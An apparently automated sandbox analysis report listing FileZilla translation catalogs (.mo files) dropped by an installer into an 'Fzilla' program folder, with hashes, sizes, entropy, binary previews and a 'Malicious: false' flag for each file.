SHA-512:	65401153CFC84C2C32AEA7D1E8BC498B4065059BB804CF3AD9E3F9599B767966B14AA958798B037F42CF5A6114365B59A1BCB20114D3E7D934194172ED864D49
Malicious:	false
Preview:	........K.......t...................A.......A...........Q.......j...$...~...........)...................................:.......V...1...o...........X.......R....... ...h...!...........................................................).......?.......W.......r...................................4.......P...........p...#...............).......(...................*.......@.......X.......k.......y...................+.......+.......L.......-...c................... .......0.......M... ...$...n...........................,.......#.......%...,...$...R...%...w...'.......n.......?...4...7...t...-.......1...............5...)......._.......g...P...0...<.......................!.......,.......$...?.......d.......x...,.......(.......+.......>...........X...`...v...Z.......+...2..."...^... ...............$.......(...........................+.......@..."...`...(.......................................=.......^...\...........%...............(.......2...C.......v...............................................

C:\Program Files (x86)\Fzilla\locales\az\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 75 messages, Project-Id-Version: FileZilla 'Z\311\231ncird\311\231 etibarl\304\261 bir alqoritm istifad\311\231 ed\311\231r\311\231k sertifikat imzalanm\304\261\305\237d\304\261r'
Category:	dropped
Size (bytes):	7492
Entropy (8bit):	5.305346427526518
Encrypted:	false
SSDEEP:	192:nKlTfb5IZGJqe790vMm3dptKIzPIi2mGAhFWZq:KlTD5IkB9EptLGQ/
MD5:	C690B37688DCBE96EA3D9741B19278D1
SHA1:	5ECD6521E7133B6A100A4BBB8CC94AA3EF79D77B
SHA-256:	1552F2E020E0538A37A04E39C4F99F7A953B0761FA6129FA126DFE039EEA9485
SHA-512:	65401153CFC84C2C32AEA7D1E8BC498B4065059BB804CF3AD9E3F9599B767966B14AA958798B037F42CF5A6114365B59A1BCB20114D3E7D934194172ED864D49
Malicious:	false
Preview:	........K.......t...................A.......A...........Q.......j...$...~...........)...................................:.......V...1...o...........X.......R....... ...h...!...........................................................).......?.......W.......r...................................4.......P...........p...#...............).......(...................*.......@.......X.......k.......y...................+.......+.......L.......-...c................... .......0.......M... ...$...n...........................,.......#.......%...,...$...R...%...w...'.......n.......?...4...7...t...-.......1...............5...)......._.......g...P...0...<.......................!.......,.......$...?.......d.......x...,.......(.......+.......>...........X...`...v...Z.......+...2..."...^... ...............$.......(...........................+.......@..."...`...(.......................................=.......^...\...........%...............(.......2...C.......v...............................................

C:\Program Files (x86)\Fzilla\locales\bg_BG\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1832 messages, Project-Id-Version: FileZilla3 '%H:%M:%S \320\270\320\267\320\274\320\270\320\275\320\260\320\273\320\270'
Category:	dropped
Size (bytes):	229770
Entropy (8bit):	5.340559157036443
Encrypted:	false
SSDEEP:	6144:2b8twtzICF55T7TUsgSJWyhcHofdhjjz+JBeyGW+JD3:2xtFbUsPJWyhcHolhj+JBeydwr
MD5:	9B2A09B8B91B9AF62B409BDE931E0BAE
SHA1:	7A38BD6BE58DF6637557688E36E0C5C9A04E6116
SHA-256:	CE7CBE1840ECF883B44C63BC6999954F656180D28CB921060D747D4096F1AD7B
SHA-512:	167E7B8E4DB711EC67A6BC63F185ED32F1D376FF42BF2BDBA6D98212B63C31DC6D94F5B19B7CCA4AF8A315739E430958876DBC1BDBB4A825502AB285E1EB42C2
Malicious:	false
Preview:	........(.......\9.......r.......r.......r.......r..S....r.......s..A...,s......ns..0....s..B....s.......s.......t.......t......2t......Gt......Ut......_t......jt......xt.......t.."....t.......t.......t.......u..+....u.......u.......v.......v..5.../v......ev......ov.......v.......v.......v.......v.......v.......v.......v.......v.......v..K....w..0...`w..2....w..2....w.......w..0....x......Cx..6...[x.......x.......x.......x.......x..;....x.......x.......y.......y.......y......+y......By......Yy......`y......qy.......y.......y.......y..+....y.......y.......y.......z.......z.."...!z......Dz......Uz..%...tz.......z.......z.......z.. ....z.......z..H....z..I...={..4....{.......{..:....{.......\|.......\|......#\|..4...B\|..$...w\|.......\|.......\|.......\|.......\|.......\|.......\|.......\|.......\|.......}.......}....../}......D}......O}......\}......u}......~}.......}.......}.......}.......}.......}.......}.......}.......~.......~......!~......+~..%...;~..O...a~..R....~..1.......0...6.......g.......

C:\Program Files (x86)\Fzilla\locales\bg_BG\is-E23G4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1832 messages, Project-Id-Version: FileZilla3 '%H:%M:%S \320\270\320\267\320\274\320\270\320\275\320\260\320\273\320\270'
Category:	dropped
Size (bytes):	229770
Entropy (8bit):	5.340559157036443
Encrypted:	false
SSDEEP:	6144:2b8twtzICF55T7TUsgSJWyhcHofdhjjz+JBeyGW+JD3:2xtFbUsPJWyhcHolhj+JBeydwr
MD5:	9B2A09B8B91B9AF62B409BDE931E0BAE
SHA1:	7A38BD6BE58DF6637557688E36E0C5C9A04E6116
SHA-256:	CE7CBE1840ECF883B44C63BC6999954F656180D28CB921060D747D4096F1AD7B
SHA-512:	167E7B8E4DB711EC67A6BC63F185ED32F1D376FF42BF2BDBA6D98212B63C31DC6D94F5B19B7CCA4AF8A315739E430958876DBC1BDBB4A825502AB285E1EB42C2
Malicious:	false
Preview:	........(.......\9.......r.......r.......r.......r..S....r.......s..A...,s......ns..0....s..B....s.......s.......t.......t......2t......Gt......Ut......_t......jt......xt.......t.."....t.......t.......t.......u..+....u.......u.......v.......v..5.../v......ev......ov.......v.......v.......v.......v.......v.......v.......v.......v.......v..K....w..0...`w..2....w..2....w.......w..0....x......Cx..6...[x.......x.......x.......x.......x..;....x.......x.......y.......y.......y......+y......By......Yy......`y......qy.......y.......y.......y..+....y.......y.......y.......z.......z.."...!z......Dz......Uz..%...tz.......z.......z.......z.. ....z.......z..H....z..I...={..4....{.......{..:....{.......\|.......\|......#\|..4...B\|..$...w\|.......\|.......\|.......\|.......\|.......\|.......\|.......\|.......\|.......}.......}....../}......D}......O}......\}......u}......~}.......}.......}.......}.......}.......}.......}.......}.......~.......~......!~......+~..%...;~..O...a~..R....~..1.......0...6.......g.......

C:\Program Files (x86)\Fzilla\locales\bg_BG\is-QQ90B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 92 messages, Project-Id-Version: FileZilla3 '\320\241\320\265\321\200\321\202\320\270\321\204\320\270\320\272\320\260\321\202 \320\262\321\212\320\262 \320\262\320\265\321\200\320\270\320\263\320\260\321\202\320\260 \320\276\321\202 \321\201\320\265\321\200\321\202\320\270\321\204\320\270\320\272\320\260\321\202\320\270 \320\265 \320\277\320\276\320\264\320\277\320\270\321\201\320\260\320\275 \321\201 \320\275\320\265\320\267\320\260\321\211\320\270\321\202\320\265\320\275 \320\260\320\273\320\263\320\276\321\200\320\270'
Category:	dropped
Size (bytes):	11977
Entropy (8bit):	5.248848108647641
Encrypted:	false
SSDEEP:	192:Y8iwMfrQ1Y3cqet90vMmnDedAxlZ4ljJK4h9+1G1uCM8xA2fa4lJ1q4aEenD:NFZ1Y3g9hAxlGljdh9+1G1o8dfa4iXD
MD5:	053BF24A6AB464186EA2AB41574A8945
SHA1:	014189077150F775CC4E95393746D40672A25E24
SHA-256:	E8C71A3476C49AF1D7464602A17A65FD46FBD2639C340A0994C1897BA051FBDA
SHA-512:	F5CF6EC9F9731770A483FEEEDDDC116E30600DDE22C5AD8203BAD86129EEC38B270C8D676441BB6694AF6640B4E63A2AACC88D32BD85BE967F9EA816FFA2DD4B
Malicious:	false
Preview:	........\...........................A.......A...........a.......z...$.......................>.......)...,...0...V...........................................1...........;...0...V...X.......R....... ...3.......T... ...m...(....... ...............%.......(.......!...D.......f.......................................................................1.......L.......d.......v...........7.......................4.......P...C...........#...............).......(...........0.......N.......d.......\|...................................+.......+.......+...:...1...f...L.......-.......-...........A.......a... ...~...0.......M.......$...........C.......\.......v...,.......#.......%.......$.......%...'...'...M...n...u...?.......7...$...-...\...1...............5...............w.......................>...............?.......@...F...F.......v.......T...E...L.......(.......M.......8...^...<.......O...........$...D.......q...........p...........V.......J.......X...-...M.......e.......N...:...:.......S.......T...

C:\Program Files (x86)\Fzilla\locales\bg_BG\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 92 messages, Project-Id-Version: FileZilla3 '\320\241\320\265\321\200\321\202\320\270\321\204\320\270\320\272\320\260\321\202 \320\262\321\212\320\262 \320\262\320\265\321\200\320\270\320\263\320\260\321\202\320\260 \320\276\321\202 \321\201\320\265\321\200\321\202\320\270\321\204\320\270\320\272\320\260\321\202\320\270 \320\265 \320\277\320\276\320\264\320\277\320\270\321\201\320\260\320\275 \321\201 \320\275\320\265\320\267\320\260\321\211\320\270\321\202\320\265\320\275 \320\260\320\273\320\263\320\276\321\200\320\270'
Category:	dropped
Size (bytes):	11977
Entropy (8bit):	5.248848108647641
Encrypted:	false
SSDEEP:	192:Y8iwMfrQ1Y3cqet90vMmnDedAxlZ4ljJK4h9+1G1uCM8xA2fa4lJ1q4aEenD:NFZ1Y3g9hAxlGljdh9+1G1o8dfa4iXD
MD5:	053BF24A6AB464186EA2AB41574A8945
SHA1:	014189077150F775CC4E95393746D40672A25E24
SHA-256:	E8C71A3476C49AF1D7464602A17A65FD46FBD2639C340A0994C1897BA051FBDA
SHA-512:	F5CF6EC9F9731770A483FEEEDDDC116E30600DDE22C5AD8203BAD86129EEC38B270C8D676441BB6694AF6640B4E63A2AACC88D32BD85BE967F9EA816FFA2DD4B
Malicious:	false
Preview:	........\...........................A.......A...........a.......z...$.......................>.......)...,...0...V...........................................1...........;...0...V...X.......R....... ...3.......T... ...m...(....... ...............%.......(.......!...D.......f.......................................................................1.......L.......d.......v...........7.......................4.......P...C...........#...............).......(...........0.......N.......d.......\|...................................+.......+.......+...:...1...f...L.......-.......-...........A.......a... ...~...0.......M.......$...........C.......\.......v...,.......#.......%.......$.......%...'...'...M...n...u...?.......7...$...-...\...1...............5...............w.......................>...............?.......@...F...F.......v.......T...E...L.......(.......M.......8...^...<.......O...........$...D.......q...........p...........V.......J.......X...-...M.......e.......N...:...:.......S.......T...

C:\Program Files (x86)\Fzilla\locales\ca\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1722 messages, Project-Id-Version: FileZilla 'transcorregut %H:%M:%S'
Category:	dropped
Size (bytes):	169579
Entropy (8bit):	5.14736427041785
Encrypted:	false
SSDEEP:	3072:0hv2JeCN74nimGr396FXbToWiTwFRrO0+pWMNoGDm0UaHcOwJvONw1nxmnBPwzKc:0hv9SEKrt6FXbTo/+Rn+pWMKGPUaHwvz
MD5:	572C8FEAEA47465939802913CB42A2A0
SHA1:	9844563B5C6302865A61AD11858CC5B0EC3F5586
SHA-256:	90668BE984FB2E9BFE1779A45F4A0D3F358B25B3B351F8224639C0FEDF601ABD
SHA-512:	3E6DA60D8FDB6194EFAE92D3D0411F327456BE8F1538B39A41B865CF12F5CD4827C4355B1F67B5241DCC212DE331E9D18F5BCA0B3E3C544E699FB26B08F065B6
Malicious:	false
Preview:	.................5.......k.......k.......k.......k..S....k......0l..A...Ll.......l..0....l..B....l.......m......(m......2m......Rm......gm......um.......m.......m.......m.."....m.......m.......m.......n..+....n.......o.......o.......o..5...Ao......wo.......o.......o.......o.......o.......o.......o.......o.......o.......o.......p..0...&p..2...Wp.......p.......p..6....p.......p.......p.......q.......q..;...!q......]q......hq......sq.......q.......q.......q.......q.......q.......q.......q..+....q......(r......;r......Mr......]r.."...dr.......r.......r..%....r.......r.......r.......r.. ....s......!s..H...7s..I....s..4....s.......s..:....t......Ft......]t..4...\|t.......t.......t.......t.......t.......t.......u.......u.......u......(u......0u......Du......Yu......du......qu.......u.......u.......u.......u.......u.......u.......u.......v.......v.......v......-v......6v..%...@v..O...fv..R....v..1....w..0...;w......lw......}w.......w.......w.......w.......w.......w.......w.......w......!x......

C:\Program Files (x86)\Fzilla\locales\ca\is-39MML.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 75 messages, Project-Id-Version: FileZilla 'Un certificat de la cadena s'ha signat amb un algoritme insegur'
Category:	dropped
Size (bytes):	7590
Entropy (8bit):	5.004437490454456
Encrypted:	false
SSDEEP:	192:nKl+30ZGJqe790vMm3dpYe2KsM2XeFw6ImJWRX2:Kl+30kB9Eph3V94m
MD5:	C76C8B0BF8CAD94EC38A46128AC7F8C5
SHA1:	79E4C3961785448438DAABB37C1676DEA39052F3
SHA-256:	76AB8D14BDD35A78A93115C3317EF1E13008FB7C88B7BAFF213F60987288FBE7
SHA-512:	FEEA8025667E7C0A37A8670581EDCB3DE182CB360909C0325E050DCF29B352A2B3079BF6A3E159F4CFFCEF8E6D0C958575B78D3E632B76CA83EFA1903784B467
Malicious:	false
Preview:	........K.......t...................A.......A...........Q.......j...$...~...........)...................................:.......V...1...o...........X.......R....... ...h...!...........................................................).......?.......W.......r...................................4.......P...........p...#...............).......(...................*.......@.......X.......k.......y...................+.......+.......L.......-...c................... .......0.......M... ...$...n...........................,.......#.......%...,...$...R...%...w...'.......n.......?...4...7...t...-.......1...............5...)......._.......g...?.......I...F...6...............".......%.......8...,.......e...2...x...........!...............E......."...S...d...v...].......3...9...0...m...%........................................... .......6...#...M.......q..........."...............#...............N...)...c...x...........5...........-...8...F...+.......................................................)...

C:\Program Files (x86)\Fzilla\locales\ca\is-GPUOM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1722 messages, Project-Id-Version: FileZilla 'transcorregut %H:%M:%S'
Category:	dropped
Size (bytes):	169579
Entropy (8bit):	5.14736427041785
Encrypted:	false
SSDEEP:	3072:0hv2JeCN74nimGr396FXbToWiTwFRrO0+pWMNoGDm0UaHcOwJvONw1nxmnBPwzKc:0hv9SEKrt6FXbTo/+Rn+pWMKGPUaHwvz
MD5:	572C8FEAEA47465939802913CB42A2A0
SHA1:	9844563B5C6302865A61AD11858CC5B0EC3F5586
SHA-256:	90668BE984FB2E9BFE1779A45F4A0D3F358B25B3B351F8224639C0FEDF601ABD
SHA-512:	3E6DA60D8FDB6194EFAE92D3D0411F327456BE8F1538B39A41B865CF12F5CD4827C4355B1F67B5241DCC212DE331E9D18F5BCA0B3E3C544E699FB26B08F065B6
Malicious:	false
Preview:	.................5.......k.......k.......k.......k..S....k......0l..A...Ll.......l..0....l..B....l.......m......(m......2m......Rm......gm......um.......m.......m.......m.."....m.......m.......m.......n..+....n.......o.......o.......o..5...Ao......wo.......o.......o.......o.......o.......o.......o.......o.......o.......o.......p..0...&p..2...Wp.......p.......p..6....p.......p.......p.......q.......q..;...!q......]q......hq......sq.......q.......q.......q.......q.......q.......q.......q..+....q......(r......;r......Mr......]r.."...dr.......r.......r..%....r.......r.......r.......r.. ....s......!s..H...7s..I....s..4....s.......s..:....t......Ft......]t..4...\|t.......t.......t.......t.......t.......t.......u.......u.......u......(u......0u......Du......Yu......du......qu.......u.......u.......u.......u.......u.......u.......u.......v.......v.......v......-v......6v..%...@v..O...fv..R....v..1....w..0...;w......lw......}w.......w.......w.......w.......w.......w.......w.......w......!x......

C:\Program Files (x86)\Fzilla\locales\ca\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 75 messages, Project-Id-Version: FileZilla 'Un certificat de la cadena s'ha signat amb un algoritme insegur'
Category:	dropped
Size (bytes):	7590
Entropy (8bit):	5.004437490454456
Encrypted:	false
SSDEEP:	192:nKl+30ZGJqe790vMm3dpYe2KsM2XeFw6ImJWRX2:Kl+30kB9Eph3V94m
MD5:	C76C8B0BF8CAD94EC38A46128AC7F8C5
SHA1:	79E4C3961785448438DAABB37C1676DEA39052F3
SHA-256:	76AB8D14BDD35A78A93115C3317EF1E13008FB7C88B7BAFF213F60987288FBE7
SHA-512:	FEEA8025667E7C0A37A8670581EDCB3DE182CB360909C0325E050DCF29B352A2B3079BF6A3E159F4CFFCEF8E6D0C958575B78D3E632B76CA83EFA1903784B467
Malicious:	false
Preview:	........K.......t...................A.......A...........Q.......j...$...~...........)...................................:.......V...1...o...........X.......R....... ...h...!...........................................................).......?.......W.......r...................................4.......P...........p...#...............).......(...................*.......@.......X.......k.......y...................+.......+.......L.......-...c................... .......0.......M... ...$...n...........................,.......#.......%...,...$...R...%...w...'.......n.......?...4...7...t...-.......1...............5...)......._.......g...?.......I...F...6...............".......%.......8...,.......e...2...x...........!...............E......."...S...d...v...].......3...9...0...m...%........................................... .......6...#...M.......q..........."...............#...............N...)...c...x...........5...........-...8...F...+.......................................................)...

C:\Program Files (x86)\Fzilla\locales\ca_ES@valencia\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1159 messages, Project-Id-Version: FileZilla '%H:%M:%S transcorregut'
Category:	dropped
Size (bytes):	112096
Entropy (8bit):	5.111512965778223
Encrypted:	false
SSDEEP:	3072:90eaYBFt+tP3eE9Edx5XctZEidfGM0E/dDVWImTjdxqagUMBDF9q5NFdyGt:9EOc2EMx5XctZEidfGi/x7mvdxqagUM2
MD5:	298F7C6F0E269E221483970C1C95C36A
SHA1:	8C3E77B34DE92E11D42B9244DB4A9DC45EB5EC15
SHA-256:	056ADA42D056183F5B5CFA5DDA4F99EF501F7969A72877804F82F154BE2AB999
SHA-512:	A0E0D781D0353E6A5FC8CF4089E19B4EDA4DF47F84D020FCED74D6D2631B495B950C49C5336C2BB3ADFCF6CC40759302090506637C0366063F2C4E7BCD6498CE
Malicious:	false
Preview:	................T$.......H.......H.......H.......H..S....H.......I..A....I......^I..0...oI..B....I.......I.......I.......I.......J.."...%J......HJ......YJ......iJ......wJ.......J.......J.......J.......J.......J.......J..2....J.......K......(K..6...@K......wK......}K.......K..;....K.......K.......K.......K.......K.......L.......L..+...&L......RL......eL......wL.."...~L.......L.......L..%....L.......L.......L..4....M......JM......VM......mM..4....M.......M.......M.......M.......M.......N.......N......!N......)N......4N......MN......VN......sN......~N.......N.......N.......N.......N.......N.......N..%....N..R....O..0..._O.......O.......O.......O.......O.......O.......O.......O.......P.......P......EP......eP..3...pP..$....P..$....P..)....P.......Q.......Q......@Q......MQ......RQ......gQ......{Q.......Q.......Q.......Q.. ....Q.......Q.......Q.......R.......R.......R......&R......6R......:R......@R......FR......QR......ZR......eR......qR..)...xR.......R.......R.......R.......R.......R......

C:\Program Files (x86)\Fzilla\locales\ca_ES@valencia\is-6092T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 5 messages, Project-Id-Version: FileZilla 'La xarxa no \303\251s accessible'
Category:	dropped
Size (bytes):	777
Entropy (8bit):	5.236978483855701
Encrypted:	false
SSDEEP:	12:i5yLScMqZ7a10KeJa54J6t02vtRQuo9Pm/C38nJmeLXXmBQWiOWr7KSCeJctR8x9:HZ80h454J6t0qty19CC381XmGqrtm/
MD5:	7E2C4E079E8A1A2671BAC61EDD831995
SHA1:	47E901E2D01445793AFA0BAB71A1E7D314498AE6
SHA-256:	589EAD4511C2E86324AED0CB4DF6A88F204C0E4FA271F368B89CE2FC40673394
SHA-512:	2A18EF98BF20C91782AD3C47D4755C14EC25F30F373FBBEFC732BF8147AD872B1B5B2F749C86CDA92E4915A29D6C45CD0B4C5B53D6126F41A49C194E6D197BA8
Malicious:	false
Preview:	................D.......l.......l.......m...........0...............................$.......6................Network unreachable.Remote certificate not trusted..Server did not properly shut down TLS connection.unknown.Project-Id-Version: FileZilla.Report-Msgid-Bugs-To: https://trac.filezilla-project.org/.PO-Revision-Date: 2009-06-11 10:49+0100.Last-Translator: Toni Hermoso Pulido <toniher@softcatala.cat>.Language-Team: Catal..Language: ca_ES@valencia.MIME-Version: 1.0.Content-Type: text/plain; charset=UTF-8.Content-Transfer-Encoding: 8bit.Plural-Forms: nplurals=2; plural=(n != 1);.X-Poedit-Language: Catalan.X-Poedit-SourceCharset: utf-8..La xarxa no .s accessible.No s'ha validat el certificat remot..El servidor no ha tancat correctament la connexi. TLS.desconegut.

C:\Program Files (x86)\Fzilla\locales\ca_ES@valencia\is-9RE1L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1159 messages, Project-Id-Version: FileZilla '%H:%M:%S transcorregut'
Category:	dropped
Size (bytes):	112096
Entropy (8bit):	5.111512965778223
Encrypted:	false
SSDEEP:	3072:90eaYBFt+tP3eE9Edx5XctZEidfGM0E/dDVWImTjdxqagUMBDF9q5NFdyGt:9EOc2EMx5XctZEidfGi/x7mvdxqagUM2
MD5:	298F7C6F0E269E221483970C1C95C36A
SHA1:	8C3E77B34DE92E11D42B9244DB4A9DC45EB5EC15
SHA-256:	056ADA42D056183F5B5CFA5DDA4F99EF501F7969A72877804F82F154BE2AB999
SHA-512:	A0E0D781D0353E6A5FC8CF4089E19B4EDA4DF47F84D020FCED74D6D2631B495B950C49C5336C2BB3ADFCF6CC40759302090506637C0366063F2C4E7BCD6498CE
Malicious:	false
Preview:	................T$.......H.......H.......H.......H..S....H.......I..A....I......^I..0...oI..B....I.......I.......I.......I.......J.."...%J......HJ......YJ......iJ......wJ.......J.......J.......J.......J.......J.......J..2....J.......K......(K..6...@K......wK......}K.......K..;....K.......K.......K.......K.......K.......L.......L..+...&L......RL......eL......wL.."...~L.......L.......L..%....L.......L.......L..4....M......JM......VM......mM..4....M.......M.......M.......M.......M.......N.......N......!N......)N......4N......MN......VN......sN......~N.......N.......N.......N.......N.......N.......N..%....N..R....O..0..._O.......O.......O.......O.......O.......O.......O.......O.......P.......P......EP......eP..3...pP..$....P..$....P..)....P.......Q.......Q......@Q......MQ......RQ......gQ......{Q.......Q.......Q.......Q.. ....Q.......Q.......Q.......R.......R.......R......&R......6R......:R......@R......FR......QR......ZR......eR......qR..)...xR.......R.......R.......R.......R.......R......

C:\Program Files (x86)\Fzilla\locales\ca_ES@valencia\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 5 messages, Project-Id-Version: FileZilla 'La xarxa no \303\251s accessible'
Category:	dropped
Size (bytes):	777
Entropy (8bit):	5.236978483855701
Encrypted:	false
SSDEEP:	12:i5yLScMqZ7a10KeJa54J6t02vtRQuo9Pm/C38nJmeLXXmBQWiOWr7KSCeJctR8x9:HZ80h454J6t0qty19CC381XmGqrtm/
MD5:	7E2C4E079E8A1A2671BAC61EDD831995
SHA1:	47E901E2D01445793AFA0BAB71A1E7D314498AE6
SHA-256:	589EAD4511C2E86324AED0CB4DF6A88F204C0E4FA271F368B89CE2FC40673394
SHA-512:	2A18EF98BF20C91782AD3C47D4755C14EC25F30F373FBBEFC732BF8147AD872B1B5B2F749C86CDA92E4915A29D6C45CD0B4C5B53D6126F41A49C194E6D197BA8
Malicious:	false
Preview:	................D.......l.......l.......m...........0...............................$.......6................Network unreachable.Remote certificate not trusted..Server did not properly shut down TLS connection.unknown.Project-Id-Version: FileZilla.Report-Msgid-Bugs-To: https://trac.filezilla-project.org/.PO-Revision-Date: 2009-06-11 10:49+0100.Last-Translator: Toni Hermoso Pulido <toniher@softcatala.cat>.Language-Team: Catal..Language: ca_ES@valencia.MIME-Version: 1.0.Content-Type: text/plain; charset=UTF-8.Content-Transfer-Encoding: 8bit.Plural-Forms: nplurals=2; plural=(n != 1);.X-Poedit-Language: Catalan.X-Poedit-SourceCharset: utf-8..La xarxa no .s accessible.No s'ha validat el certificat remot..El servidor no ha tancat correctament la connexi. TLS.desconegut.

C:\Program Files (x86)\Fzilla\locales\co\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1851 messages, Project-Id-Version: FileZilla in Corsican '%H:%M:%S trascorsu'
Category:	dropped
Size (bytes):	191582
Entropy (8bit):	5.220542534644073
Encrypted:	false
SSDEEP:	3072:tzGRFYGG7jm0F8sqmfYTmCF5XTs7k1wz3vqJNvGtmf:poFfG7jm037YaCF5XTsIUCr7
MD5:	6F9055BF9CC4EB5CB9FA3024554BCCF6
SHA1:	1D2E71486E748E12E90A698A34773B46BF56351A
SHA-256:	042CD3406642130025C735020B07A8E3784703348CD34B9A3FEEEF5C58DBA072
SHA-512:	27FF62105F33B3349F4375D93BEE80800E3BF3508D0C45C2B198EA1091F092D0FCBB26D6B880E9AF1BC80BE7CFD9D53A9D90F954F4147F9DDA32D8D803B17E27
Malicious:	false
Preview:	........;........9.......s.......s.......s.......s..S....s......@t..A...\t.......t..0....t..B....t......#u......8u......Bu......bu......wu.......u.......u.......u.......u.......u.."....u.......u.......v.......v..+....v......*w......8w......Lw..5..._w.......w.......w.......w.......w.......w.......w.......w.......w.......x.......x......$x..K...Dx..0....x..2....x..2....x......'y..0...By......sy..6....y.......y.......y.......y.......y..;....y......+z......6z......>z......Iz......[z......rz.......z.......z.......z.......z.......z.......z..+....z.......{......({......:{......J{.."...Q{......t{.......{..%....{.......{.......{.......{.. ....{.......\|..H...$\|..I...m\|..4....\|.......\|..:....\|......3}......J}......S}..4...r}..$....}.......}.......}.......}.......~.......~.......~......'~......-~......C~......K~......_~......t~.......~.......~.......~.......~.......~.......~.......~.......~......................&.......:.......H.......Q.......[...%...k...O.......R.......1...4...0...f...............

C:\Program Files (x86)\Fzilla\locales\co\is-5KFSF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 162 messages, Project-Id-Version: libfilezilla in Corsican 'Un certificatu in a catena h\303\250 statu firmatu aduprendu una cudificazione micca sicura'
Category:	dropped
Size (bytes):	17350
Entropy (8bit):	5.092791744531162
Encrypted:	false
SSDEEP:	384:9+QnapycC9NcTx1WmNtXUYM7fPzbUy0g8JQa4m:9++aIcddNEfcfD/
MD5:	2AFD08A8A971E81C96BCBF2B1B8E9621
SHA1:	463634E8D56FF257BB105C463017C02DECD08549
SHA-256:	9550ACBE121572058E406F7E76C9D573E79F5E902DDA5C11CE431A8DAF3AF05F
SHA-512:	0A7E70CF1AA15F13C0135AAFECDA1401E4C56DBCDB6808355CDED099EC8B9E29B456D1E2340B22EA56210C06CCC1367088784D39E71BF730E9F7CE16EB4D569C
Malicious:	false
Preview:	................,.......<.......<...A...=...A...............*...............$.......L...>...........&...............>.......9...+...2...e...8.......)....... .......0...........M.......`.......}...................1...............I.......I...e...7.......T.......^...<...........0.......#.......+.......X...7...R...............#.......#....... ...?.......`... ...y...........(....... ...............%... .......F.......d.......}...(.......!...................................$.......:.......T...0...h..."...................................................3.......I.......`.......v..................."..............."........... .......:.......K.......].......j...............................................................(.......A...7..._...................4.......P...........I...#...]...........)...............(...............L...........e...................................<...................>.......P.......b.......u...........+.......+.......+.......1...,...L...^...-.......-...................

C:\Program Files (x86)\Fzilla\locales\co\is-G7NSF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1851 messages, Project-Id-Version: FileZilla in Corsican '%H:%M:%S trascorsu'
Category:	dropped
Size (bytes):	191582
Entropy (8bit):	5.220542534644073
Encrypted:	false
SSDEEP:	3072:tzGRFYGG7jm0F8sqmfYTmCF5XTs7k1wz3vqJNvGtmf:poFfG7jm037YaCF5XTsIUCr7
MD5:	6F9055BF9CC4EB5CB9FA3024554BCCF6
SHA1:	1D2E71486E748E12E90A698A34773B46BF56351A
SHA-256:	042CD3406642130025C735020B07A8E3784703348CD34B9A3FEEEF5C58DBA072
SHA-512:	27FF62105F33B3349F4375D93BEE80800E3BF3508D0C45C2B198EA1091F092D0FCBB26D6B880E9AF1BC80BE7CFD9D53A9D90F954F4147F9DDA32D8D803B17E27
Malicious:	false
Preview:	........;........9.......s.......s.......s.......s..S....s......@t..A...\t.......t..0....t..B....t......#u......8u......Bu......bu......wu.......u.......u.......u.......u.......u.."....u.......u.......v.......v..+....v......*w......8w......Lw..5..._w.......w.......w.......w.......w.......w.......w.......w.......w.......x.......x......$x..K...Dx..0....x..2....x..2....x......'y..0...By......sy..6....y.......y.......y.......y.......y..;....y......+z......6z......>z......Iz......[z......rz.......z.......z.......z.......z.......z.......z..+....z.......{......({......:{......J{.."...Q{......t{.......{..%....{.......{.......{.......{.. ....{.......\|..H...$\|..I...m\|..4....\|.......\|..:....\|......3}......J}......S}..4...r}..$....}.......}.......}.......}.......~.......~.......~......'~......-~......C~......K~......_~......t~.......~.......~.......~.......~.......~.......~.......~.......~......................&.......:.......H.......Q.......[...%...k...O.......R.......1...4...0...f...............

C:\Program Files (x86)\Fzilla\locales\co\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
